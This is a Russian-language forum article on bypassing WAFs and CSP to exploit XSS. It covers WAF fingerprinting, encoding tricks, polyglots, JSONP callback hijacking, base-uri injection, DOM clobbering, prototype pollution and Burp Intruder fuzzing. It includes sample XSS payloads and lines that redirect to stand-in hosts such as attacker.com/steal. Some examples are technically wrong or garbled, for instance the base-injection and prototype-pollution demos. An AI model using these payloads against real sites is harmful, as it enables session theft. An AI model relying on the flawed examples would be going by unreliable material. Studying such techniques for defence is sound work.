Статья Современные методы обхода WAF в задачах с нестандартным XSS

xss.webp
Эволюция XSS и современные защиты
Скорее всего, вы уже знаете что такое XSS, но давайте для полноты картины повторим.

XSS (от англ. Cross-Site Scripting) - подтип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника. Специфика подобных атак заключается в том, что вредоносный код может использовать авторизацию пользователя в веб-системе для получения к ней расширенного доступа или для получения авторизационных данных пользователя. Вредоносный код может быть вставлен в страницу как через уязвимость в веб-сервере, так и через уязвимость на компьютере пользователя. XSS находится на третьем месте в рейтинге ключевых рисков Web-приложений, согласно OWASP 2021. Долгое время программисты не уделяли уязвимости должного внимания, считая неопасными.

Reflected XSS – Скрипт приходит в ответ на запрос (например, через URL-параметр). Как только вы кликаете по ссылке с вредоносным параметром – скрипт срабатывает.

Stored XSS – Вредоносный код сохраняется в БД (комментарии, имя пользователя) и подгружается при каждом визите жертвы. Это самый опасный тип.

DOM-Based XSS - Скрипт не отправляется на сервер, а выполняется внутри браузера из-за ошибок работы с DOM-деревом клиента.

Теперь, поговорим о современных методах защиты от XSS атак. Вообще защита от XSS строится по принципу Defense in Depth (Глубокая защита). Ни один метод не даёт 100% гарантии, поэтому используется комбинация инструментов на разных уровнях: от клиент-браузера до сервера и сети.

1. Защита на уровне клиентского браузера

CSP или же Content Security Policy – мощный современный инструмент. Это HTTP-заголовок, который говорит браузеру, откуда ему можно брать скрипты и стили.
Преимущество такого подхода в том, что он резко снижает ущерб при успешном перехвате данных.

2. HttpOnly и Secure Cookies

HttpOnly: Это флаг для Cookie. Если он установлен (Set-Cookie: session=; HttpOnly), браузер не даёт доступ к ним через JS.
Secure: Передача Cookies только по HTTPS.
SameSite=Lax/Strict: Ограничивает отправку cookie при перекрестных запросах.

3. Subresource Integrity (SRI)

Если загрузка стилей или скриптов происходит из сторонних CDN, добавьте integrity атрибут. Браузер проверит хеш файла перед запуском.

Плавно переходим к защите на уровне сервера(Код и Frameworks)

Нужно использовать функции, которые понимают контекст. Например, в PHP: htmlspecialchars($data, ENT_QUOTES, ‘UTF-8’) для вывода в HTML.


Если вы обязаны работать с DOM напрямую или использовать innerHTML, то используйте библиотеки вроде DOMPurify. Они берут «грязный» HTML и удаляют опасные атрибуты (onerror, onclick, src=”javascript:”).

Современные SPA-фреймворки (React, Vue, Angular) по умолчанию экранируют данные.
В случае с React: {user.name} – безопасно, dangerouslySetInnerHTML – опасно.

Системы вроде Cloudflare, AWS WAF или ModSecurity фильтруют входящий трафик до того, как он попадёт на сервер. Речь идёт о Web Application Firewall или же WAF.
Сервисы анализируют заголовки и тело запроса. Если видит <script> в параметре ?query=, то блокирует такой запрос. WAF можно использовать как дополнительный слой, но никак не замену экранированию, просто потому что он может пропускать сложные скрипты, которые маскируются под текст.


Анализ целей

Три слона современной защиты от XSS – это CSP – ограничивает браузеру круг поиска кода, WAF Fingerprinting – показывает, как хакеры узнают защиту сервера и обходят её, Input Validation – это фундаментальная логика на сервере, которая не даёт «грязным» данным попасть в базу или DOM.

CSP политика (script-src, object-src directives)

CSP политика (Content Security Policy) – это механизм «белого списка», который для большинства недавно стал понятным)), но в контексте веб-безопасности, такой механизм говорит браузеру: «Здесь место откуда тебе разрешено брать скрипты, стили, медиа и только отсюда».

Основные директивы для защиты от XSS:

default-src ‘self’ - такая насройка разрешает загрузку ресурсов (JS, CSS, Images) только с того же домена.

script-src – настройка определяет источники JS-кода.

object-src ‘none’ – Блокирует теги <embed>, <object> и <param>.

style-src ‘self’ – защита от XSS через CSS.

Более эффективные механизмы CSP – это использование Nonce, Report-uri, unsafe-eval.

WAF fingerprinting (CloudFlare, Imperva, AWS WAF)

WAF fingerprint в контексте уязвимости XSS – это процесс, при котором атакующий определяет тип WAF, чтобы подобрать «идеальный» payload для обхода его правил фильтрации.

WAF – проверяет входящие запросы на наличие «странных» паттернов. (<script>, onlick=).

CloudFlare может блокировать <script> в URL-параметрах, но он может пропускать его внутри application/json тела запроса или если оно закодировано.

Атакующие чтобы распознать фильтрацию используют автоматизированные инструменты(waf-finger,WAFW007, Burp Suite) и смотрят на ответы сервера.

Важно чувствовать тайминг, особенно при работе с Impreva, так как WAF добавляет задержку при проверке JS-содержимого.

Некоторые WAF фильтруют скрипты только для определённых User-Agent. Если хакер изменит UA на старый браузер, то правила могут стать мягче.

Рассмотрим метод обхода для каждого WAF:
Cloudflare

Мы видим в ответе от сервера cf-ray. Если cloudflare настроен только на блокировку «сырого» <script>, то XSS возможен, через HTML-сущности в определённых контекстах.

Imperva через DOM-based XSS

Если в ответе сервера мы видим X-Backend-Server, то мы столкнулись с Impreva. Impreva часто использует ML для анализа поведения DOM. Атакующий может отправлять запросы с задержкой, чтобы обмануть алгоритм. Если WAF не видит явного <script> в теле ответа, но браузер интерпретирует его как код – XSS’у быть.

AWS WAF и ALB

Если же мы видим заголовок x-amzn-waf-id, то перед нами система защиты от Amazon. AWS WAF использует правила «Managed Rules». Такие правила могут блокировать <script> в URL, но пропускать его в заголовках Cookie или Referer, если они не помечены как опасные.

Чтобы обезопасить свой WAF, а именно скрыть тип, можем использовать следующие средства маскировки.
  1. Скрыть заголовки
  2. Единый прокси (использовать только cloudflare)
  3. Случайность (меняйте X-Backend-Server между запросами)
  4. CSP – ограничьте браузеру поле для поисков скриптов.

Механизмы проверки ввода

Механизм проверки ввода – это основной этап защиты от XSS, который путают с экранированием или санитизацией. Валидация выполняется для обеспечения того, чтобы в информационную систему поступали только корректно сформированные данные, предотвращая сохранение некорректных данных в базе данных и возникновение сбоев в работе различных компонентов системы.

Рассмотрим механики валидации ввода:
Whitelisting (Белые списки) – разрешены только «белые» символы или структуры данных.

Blacklisting (Чёрные списки) – удалены «плохие» символы из вводных данных.

У такого подхода есть и свои минусы, например, сложно учесть все случаи. <img src=x onlick=...> может быть разбит на части или закондирован.

Context-Aware Validation (Контекстно-зависимая) – в этом методе, система проверяет данные в зависимости от того, куда они попадут.

Для HTML-атрибута: Разрешаем только безопасные символы и экранируем ковычки.
HTML:
name=”test” --> name=”test”
name=”<script>” --> name=”&lt;script&gt;”

Для JavaScript-переменной:
Код:
var x = “test” --> var x = “test”
var x = “<script>” --> var x = “&lt;script&gt;”

Type-Based Validation (Валидация типов) – Использование типов данных для ограничения XSS.

Например, если в БД тип INTEGER, то пишем такую функцию:
user_id = int(request.args.get(‘id’))
Такой код превратит 123<script> в ошибку.


WAF bypass техники

Попытка обхода WAF или же WAF bypass – это попытки, где атакующий старается составить payload так, чтобы он не совпал ни с одной сигнатурой фильтра, но при этом остался валидным JS-кодом для браузера.

Encoding chains (HTML entities, URL encoding, Unicode)

Encoding Layers (Слои кодирования) – WAF декодирует данные один раз, но если хакер использует двойное или тройное кодирование, то WAF может его пропустить.

HTML Entity Encoding – WAF ищут символы < и >. Если они закодированы, WAF может их не заметить.

Unicode / Hex Encoding – использование Unicode-символов для обхода строгих фильтров, которые ищут ASCII-символы <.

Case variation и mixed encoding

Использование различий в регистре символов и комбинации разных типов кодирования для обхода строгих регулярных выражений WAF.

Case Variation

Звучит странно, но если правило написано как <script>, то ScRiPt может пройти.

Mixed Encoding (Смешанное кодирование) – несколько слоёв кодирования, WAF пропускает код на промежуточном этапе. Тоже самое что и HTML Entity Encoding.

Context switching attacks

Данные, которые WAF считает «безопасными» в одном контексте (JSON-тело запроса), могут быть интерпретированы как код в другом контексте (HTML-атрибут).

WAF анализирует входные данные на основе их исходного формата. Но браузер рендерит данные по-разному, смотря куда они попали:

Если сервер принимает данные в формате JSON, но рендерит их внутри HTML-атрибута без экранирования, WAF может пропустить XSS, потому что видел «чистый» JSON.

Polyglot payloads

Это «Универсальные» XSS-скрипты, которые работают в нескольких контекстах одновременно и обходят разные типы фильтров. Они созданы так, чтобы быть валидными как для HTML, таки для JS.

<img src=x onerror=alert(1)>// – комментарий // может скрыть часть кода для одного парсера.
<svg onload=”alert(1)”> – работает в HTML-теге и может быть вставлен в атрибут href.


CSP bypass vectors

Способы обхода политики безопасности Content Security Policy (CSP), которая призвана ограничить источники, из которых браузер может загрузить и выполнить скрипты.

JSONP callback hijacking

JSONP Callback Hijacking – это специфический вектор атаки, который использует механизм JSONP(JSON with Padding) для выполнения кода на стороне клиента через внешний скрипт.

Атака возникает, когда сервер API не проверяет имя функции callback или возвращает в теле ответа не только данные, но и исполняемый JS, который попадает внутрь вызова функции.

Если сервер API возвращает ответы в text/html или applicaiton/javascript формате, а не строго application/json, то хакер может подменить часть данных на код.

Если сервер возращает данные, которые клиентский код обрабатывает через eval() или вставляет в DOM без экранирования, то eval выполнит скрипт.

Рассмотрим типы векторов обхода (Bypass)

Content-Type Bypass – Сервер возвращает ответ с заголовком Content-Type: text/html, но внутри содержит JS-код, который браузер интерпретирует как скрипт.

<script src=”https://api.hacker.com?callback=run”></script> + ответ text/html с кодом run(‘<img src=x onerror=alert(1)>’);

Callback Parameter Injection – Сервер API использует имя функции из URL для генерации ответа, атакующий может передать функцию, которая сама вызывает другой код.

?callback=window.location.href=’https://attacker.com/steal’

Timing Bypass – Сервер использует API таймеры для отправки данных, атакующий может замедлить запрос, чтобы WAF не успел его заблокировать.

Base-uri injection

Base uri injection – это вектор атаки, при котором хакер внедряет тег <base> в HTML жертвы. Это меняет базовый URL для всех относительных ссылок на странице, позволяя перенаправить загрузку ресурсов на домен хакера и выполнить код через них.

При такой атаке меняется контекст разрешения ссылок для всех страницы.

Тег <base href=””> определяет базовый URL для всех относительных URL-ссылок в документе.

В нормальной ситуации, если страница находиться на https://good.com/page.html, то ссылка /img/photo.png загружается с https://good.com/img/photo.png

Но с base injection, если в страницу внедрён <base href=”https://good.com”, то та же ссылка /img/photo.png будет загружена с https://good.com/img/photo.png

Вот так выглядит прямая инъекция в HTML:

HTML:
<div id=”comment”>
<base href=”https://good.com/”>
</div>

Если страница содержит <img src=”/photo.png”>, браузер загрузит его с https://good.com/photo.png.

А вот так выглядит DOM-манипуляция:

JavaScript:
const userInput = document.getElementById(‘comment’).value;
document.body.innerHTML += `<base href=”${userInput}”>`;

innerHTML вставляет тег без экранирования, что меняет контекст страницы.

Dangling markup injection

Dangling markup injection – это вектор атаки, который возникает из-за особенностей работы HTML-парсера браузера при обработке «висящих» тегов или атрибутов.
Сервер и клиентский ввод «разделяют» один HTML-тег на две части, что позволяет атакующему манипулировать структурой документа.

Сервер рендерит HTML-шаблон, где часть тега уже задана, а часть зависит от ввода юзера.
<img src=”` + userInput + `” onerror=alert(1)”>
Здесь src и onerror разделены пробелом, но атрибут src не закрыт до конца.

Если пользователь вводит x”, результат будет <img src=”x” onerror=alert(1)>, и как следствие браузер видит <img>, где атрибуты разделены пробелом, но src закрыт ковычкой.

Но если пользователь вводит x” <script>alert(1)</script>, то второй тег <script> может быть интерпретирован как часть атрибута или отдельный элемент, в зависимости от контекста.

Есть ещё второй тип DMI – это Dangling Tag, когда сервер открывает тег, а пользовательский ввод закрывает его.

<div id=”user”` + userInput + `</div>
Как результат, бразуер видит, что <div> открыт, а внутри него есть <img>, который может быть интерпретирован как часть атрибута или отдельный элемент.

Trusted domain abuse (CDN endpoints)

Trusted domain abuse – вектор атаки, при котором хакер использует репутацию и конфигурацию доверенных доменов (чаще CDN-сервисов или внутренних статических ресурсов) для обхода защиты и выполнения кода.

Код вставляется напрямую в HTML, и тогда аткующий «подменивает» содержимое ресурса с доверенного источника, заставляя браузер жертвы считать его безопасным.

Внутренние статические ресурсы: static.site.com, assests.site.com.

Сторонние CDN: cdn.cloudflare.com

Сервер CDN или приложение некорректно обрабатывает входные данные в URL-параметрах доверенного домена.

Сервер CDN может принимать запросы с параметрами и возвращать их в теле ответа без должной фильтрации.

Вот так выглядит здоровый запрос:
<script src="https://cdn.example.com/libs/jquery.min.js"></script>
Вот так атакующий меняет URL:
<script src="https://cdn.example.com/libs/jquery.min.js?callback=evilCallback"></script>

Если приложение использует CDN для статических файлов, но DNS-запись на cdn.example.com не обновляется после смены провайдера или выключения сервиса, атакующий может зарегистрировать этот домен у себя. Это называется Subdomain Takeover.

Если CDN-поддомен настроен так, что он делит куки с основным доменом (SameSite=None), то XSS на поддомене моджет украсть сессию основного приложения. Это уже Cookie Sharing.

Расширенная эксплуатация

Advanced exploitation – Это уже более глубокий уровень атаки, который выходит за рамки тегов. Хакер использует подводные камни JS-движка и структуры объекта для обхода фильтров и выполнения payload.

Mutation XSS (mXSS) through innerHTML

MXSS появляется, когда JS-код динамически меняет DOM-дерево с помощью innerHTML, и при этом входные данные пользователя влияют на структуру тега так, что браузер интерпретирует их иначе, чем ожидал разработчик.

innerHTML парсит строку как HTML. Если строка содержит не очевидную комбинацию тегов или атрибутов, парсер может «перепарсить» её в процессе рендеринга.

JavaScript:
const container = document.getElementById('container');
container.innerHTML = userInput;

Если userInput содержит <img src=x onerror=>, то при вставке через innerHTML браузер создаст новый элемент <img> и привяжет событие onerror.

Если сервер рендерит HTML, где атрибут совпадает с именем свойства JS-объекта (например, id=”onload”), то при вставке через innerHTML браузер может интерпретировать это как событие.

DOM clobbering

DOM Clobbering – это техника, при которой хакер перекрывает глобальные свойства JavaScript-объектов с помощью пользовательского ввода в атрибутах HMTL.

JS-движок ищет свойства по имени. Если есть возможность задать имя элемента или атрибута так, что оно совпадает с именем глобального объекта, то при доступе к этому объекту браузер вернёт значение из DOM, а не из глобальной области видимости.

<img src=”x” id=”onerror”>

Если сервер рендерит этот тег, то при доступе к window.onerror браузер может вернуть значение атрибута id, а не глобальное событие.

Prototype Pollution -> XSS

Prototype Pollution -> XSS – вектор атаки, при котором хакер использует уязвимость на уровне JS-объектов для изменения глобального поведения приложения, что в итоге приводит к выполнению кода в браузере.

В JS все объекты наследуются от Object.prototype. Если злоумышленник может изменить свойства этого прототипа (через ключи), то все существующие и будущие объекты в приложении унаследуют эти изменения.

JavaScript:
const obj = { foo: ‘bar’ };
Object.prototype.constructor = ‘<script>alert(1)</script>’;
console.log(obj.constructor);

Обычно сервер принимает JSON-данные от клиента, не проверяет наличие специальных ключей (proto и т.п), и сливает их в глобальные конфигурационные объекты. Позже эти данные используются для рендеринга HTML или выполнения JS на клиенте.

Сервер принимает JSON-запросы:

JavaScript:
const userConfig = req.body;
global.config = Object.assign({}, global.config, userConfig);

Если userConfig содержит { “__proto__”: { “toString”: ”<script>alert(1)</script>” } }, то Object.prototype.toString меняется.

Позже сервер отправляет HTML страницу с данными из объекта, который был загрязнён:

const html = `<div id="info">${global.config.info}</div>`;

Браузер видит HTML с вставленным скриптом и выполняет его.


Конструкция полезной нагрузки и отладка

Начался практический этап данной статьи, в ней мы научимся пошаговой разработке рабочего exploit’а, настроим Burp Suite Intruder для фаззинга, а также изучим Бразуерные инструменты для отладки.

Пошаговая разработка рабочего exploit
Перед тем как вставлять код, нужно понять, куда он попадает.
Затем проверяем реакцию сервера и браузера:

HTML:
<img src=x onerror=alert(1)>
<div id="x" style="background:url('https://attacker.com/img.png?callback=...')">

Затем нужно подобрать bypass, так как скорее всего ресурс использует несколько слоёв кодирования:

HTML Entity: &lt;img src=x onerror=alert(1)&gt;

URL Encoding: %3Cimg%20src=x%20onerror=alert(1)%3E

JS String Escaping: ‘\u003Cimg src=x onerror=alert(1)\u003E’

Обход CSP и WAF:

Base URI Injection: <base href=”https://attack.com”> + <src=”/img.png”>

DOM Clobbering: <div id=”onerror”>alert(1)</div>

Некоторые векторы работают только в Chrome, другие - во всех. Проверьте console.log и alert в разных режимах(Incognito, mobile).

Burp Suite Intruder для фаззинга

Первое, что необходимо сделать, так это подготовить инструмент(intruder) к работе

  1. Proxy-режим: Перехват запроса с параметром, который подозрителен (id,page)
  2. Intruder: отправляем запрос в Intruder.
  3. Positions: Выбираем позиции для подстановки данных.

Второе, payload setting, можно использовать готовый словарь или свой.

Теперь, стоит отфильтровать вывод, поскольку при такой настройке, будут просто ссыпаться ошибки, которые нам не интересны.
  1. В Intruder выбираем Simple Attack или Classic Attack.
  2. Запустите атаку в разных позициях
  3. Отсортируйте результаты по Size of Response.

Также, не будет лишним, отфильтровать Response по статусу кода.
Иногда изменение статуса (с 200 на 302) может указывать на перенаправление через <base> или редирект через location.

Браузерный DevTools для отладки

DevTools – очень полезный инструмент для подтверждения того, что код действительно выполнился в браузере жертвы.

Самый простой способ проверить выполнение JS. Если консоль выдаёт UncaughtReferenceError: alert is not defined, значит скрипт сработал.
Или выполнить код в консоли.

DOM Tree в элементах: Нужно убедиться, что тег <img> или <div> действительно добавлен в DOM-дерево.

Attributes в элементах: Убедитесь, что атрибут onerror или src содержит ожидаемые данные.(Если видите <img src=”x” onerror=alert(1)>, значит парсер интерпретировал данные как событие)

Обязательно проверяйте загаловки ответов, в частности Content-Security-Policy, X-Frame-Options. Если script-src ‘self’ и вы используете <img>, то скрипт может не сработать, но событие onerror всё равно выполниться.

Также убедитесь, что Payload действительно попал в тело ответа сервера.

Изучайте источники, проверьте, откуда загружается скрипт. Если он загружен с https://attack.com/, значит base-uri или script-src натсроены правильно для атаки.


Литература

https://en.wikipedia.org/wiki/Cross-site_scripting

https://centralcsp.com/docs/object-src

https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/object-src

https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html

https://github.com/s0md3v/Papers/blob/master/Bypassing-XSS-detection-mechanisms/README.md

https://medium.com/@anandrishav2228/csp-common-bypass-techniques-fo-c890144e4432

https://securitytalent.medium.com/bug-bounty-jsonp-callback-vulnerability-explained-d59b39a89067 – useful articel

https://web.dev/articles/strict-csp#fallbacks

https://portswigger.net/web-security/cross-site-scripting/dangling-markup

https://www.zscaler.com/de/blogs/security-research/analysis-domain-fronting-technique-abuse-and-hiding-cdns

https://www.twingate.com/blog/glossary/mutation-xss-attack

https://cure53.de/fp170.pdf (Page 8, 5 paragraph)

https://aszx87410.github.io/beyond-xss/en/ch2/mutation-xss/

https://en.wikipedia.org/wiki/DOM_clobbering

https://portswigger.net/web-security/dom-based/dom-clobbering

https://medium.com/@dodir.sec/javascript-prototype-pollution-attack-a-simplified-guide-c3b4ba8a6441

https://portswigger.net/web-security/prototype-pollution

https://content-security-policy.com/strict-dynamic/

https://medium.com/@appsecwarrior/whats-new-in-csp-v3-992c44c0425e

https://developer.mozilla.org/en-US/docs/Web/API/Trusted_Types_API (require-trusted-types-for - https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/require-trusted-types-for)

https://dev.to/carrie_luo1/how-does-waf-prevent-xss-attacks-3768 – WAF optimization

https://github.com/Hari-prasaanth/Checklist/blob/main/Secure-Coding-Practices/Secure-Coding-Practices.md
 
Последнее редактирование модератором:
Мы в соцсетях:

Взломай свой первый сервер и прокачай скилл — Начни игру на HackerLab

🚀 Первый раз на Codeby?
Гайд для новичков: что делать в первые 15 минут, ключевые разделы, правила
Начать здесь →
🔴 Свежие CVE, 0-day и инциденты
То, о чём ChatGPT ещё не знает — обсуждаем в реальном времени
Threat Intel →
💼 Вакансии и заказы в ИБ
Pentest, SOC, DevSecOps, bug bounty — работа и проекты от проверенных компаний
Карьера в ИБ →

HackerLab